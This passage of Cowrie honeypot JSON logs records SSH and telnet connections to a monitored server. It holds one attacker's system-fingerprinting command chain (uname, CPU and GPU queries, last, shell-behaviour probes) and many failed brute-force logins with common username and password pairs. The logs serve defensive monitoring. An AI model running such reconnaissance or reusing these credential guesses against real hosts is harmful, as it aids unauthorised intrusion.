); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:19:57.673227Z","src_ip":"91.92.40.4","session":"28a67b3f55ae","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:19:57.675066Z","src_ip":"91.92.40.4","session":"28a67b3f55ae","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:19:57.676827Z","src_ip":"91.92.40.4","session":"28a67b3f55ae","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/usr/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /usr/bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:19:57.678846Z","src_ip":"91.92.40.4","session":"28a67b3f55ae","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"busybox uname -s -v -n -m 2 > /dev/null","message":"CMD: busybox uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:19:57.681254Z","src_ip":"91.92.40.4","session":"28a67b3f55ae","protocol":"ssh"}
{"eventid":"cowrie.command.success","input":"uname -s -v -n -m","message":"Command found: uname -s -v -n -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:19:57.682749Z","src_ip":"91.92.40.4","session":"28a67b3f55ae","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"( [ -f /proc/version ]","message":"CMD: ( [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:19:57.685150Z","src_ip":"91.92.40.4","session":"28a67b3f55ae","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /proc/version ]","message":"CMD: [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:19:57.687151Z","src_ip":"91.92.40.4","session":"28a67b3f55ae","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"head -1 /proc/version | cut -d -f1","message":"CMD: head -1 /proc/version | cut -d -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:19:57.689458Z","src_ip":"91.92.40.4","session":"28a67b3f55ae","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /etc/os-release ]","message":"CMD: [ -f /etc/os-release ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:19:57.692638Z","src_ip":"91.92.40.4","session":"28a67b3f55ae","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","size":356,"shasum":"4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:19:57.781833Z","src_ip":"91.92.40.4","session":"28a67b3f55ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:19:57.865415Z","src_ip":"91.92.40.4","session":"28a67b3f55ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.177.234.24","src_port":39952,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc91f0b506c9","protocol":"ssh","message":"New connection: 14.177.234.24:39952 (10.17.0.5:22) [session: bc91f0b506c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:20:11.929059Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:20:11.933248Z","src_ip":"14.177.234.24","session":"bc91f0b506c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:20:12.189176Z","src_ip":"14.177.234.24","session":"bc91f0b506c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xiaokeai","message":"login attempt [root/xiaokeai] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:20:13.247627Z","src_ip":"14.177.234.24","session":"bc91f0b506c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:20:14.506862Z","src_ip":"14.177.234.24","session":"bc91f0b506c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":45198,"dst_ip":"159.203.135.109","dst_port":22,"session":"19a2b7536878","protocol":"ssh","message":"New connection: 160.187.174.22:45198 (159.203.135.109:22) [session: 19a2b7536878]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:20:15.768263Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:20:15.773046Z","src_ip":"160.187.174.22","session":"19a2b7536878","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:20:16.006405Z","src_ip":"160.187.174.22","session":"19a2b7536878","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"abc123","message":"login attempt [ftpuser/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:20:16.713851Z","src_ip":"160.187.174.22","session":"19a2b7536878","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:20:17.952761Z","src_ip":"160.187.174.22","session":"19a2b7536878","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":48206,"dst_ip":"159.203.135.109","dst_port":22,"session":"f87bfd418e56","protocol":"ssh","message":"New connection: 176.32.39.21:48206 (159.203.135.109:22) [session: f87bfd418e56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:20:23.270550Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:20:23.279325Z","src_ip":"176.32.39.21","session":"f87bfd418e56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:20:23.387511Z","src_ip":"176.32.39.21","session":"f87bfd418e56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"16091982","message":"login attempt [root/16091982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:20:23.915065Z","src_ip":"176.32.39.21","session":"f87bfd418e56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:20:25.033595Z","src_ip":"176.32.39.21","session":"f87bfd418e56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.174.5.146","src_port":54802,"dst_ip":"159.203.135.109","dst_port":22,"session":"19684ad859c0","protocol":"ssh","message":"New connection: 172.174.5.146:54802 (159.203.135.109:22) [session: 19684ad859c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:20:34.910653Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:20:34.914292Z","src_ip":"172.174.5.146","session":"19684ad859c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:20:34.929134Z","src_ip":"172.174.5.146","session":"19684ad859c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin-1234","message":"login attempt [root/admin-1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:20:35.017179Z","src_ip":"172.174.5.146","session":"19684ad859c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:20:36.032121Z","src_ip":"172.174.5.146","session":"19684ad859c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":58372,"dst_ip":"159.203.135.109","dst_port":22,"session":"426b3012cf27","protocol":"ssh","message":"New connection: 160.187.174.22:58372 (159.203.135.109:22) [session: 426b3012cf27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:20:45.396641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:20:45.400956Z","src_ip":"160.187.174.22","session":"426b3012cf27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:20:45.642666Z","src_ip":"160.187.174.22","session":"426b3012cf27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.200.19","src_port":42264,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb67ba99f144","protocol":"ssh","message":"New connection: 43.160.200.19:42264 (159.203.135.109:22) [session: eb67ba99f144]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:20:46.115046Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:20:46.119008Z","src_ip":"43.160.200.19","session":"eb67ba99f144","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:20:46.364355Z","src_ip":"43.160.200.19","session":"eb67ba99f144","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test","message":"login attempt [test/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:20:46.392021Z","src_ip":"160.187.174.22","session":"426b3012cf27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"888888","message":"login attempt [root/888888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:20:47.377565Z","src_ip":"43.160.200.19","session":"eb67ba99f144","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:20:47.682119Z","src_ip":"160.187.174.22","session":"426b3012cf27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:20:48.625192Z","src_ip":"43.160.200.19","session":"eb67ba99f144","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":50698,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2578dff2b2d","protocol":"ssh","message":"New connection: 160.187.174.22:50698 (159.203.135.109:22) [session: d2578dff2b2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:21:13.505812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:21:13.510020Z","src_ip":"160.187.174.22","session":"d2578dff2b2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:21:13.740369Z","src_ip":"160.187.174.22","session":"d2578dff2b2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab","password":"123456","message":"login attempt [gitlab/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:21:14.433408Z","src_ip":"160.187.174.22","session":"d2578dff2b2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:21:15.672266Z","src_ip":"160.187.174.22","session":"d2578dff2b2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":45870,"dst_ip":"159.203.135.109","dst_port":23,"session":"d230bf5a9851","protocol":"telnet","message":"New connection: 170.64.224.25:45870 (159.203.135.109:23) [session: d230bf5a9851]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:21:20.821949Z"}
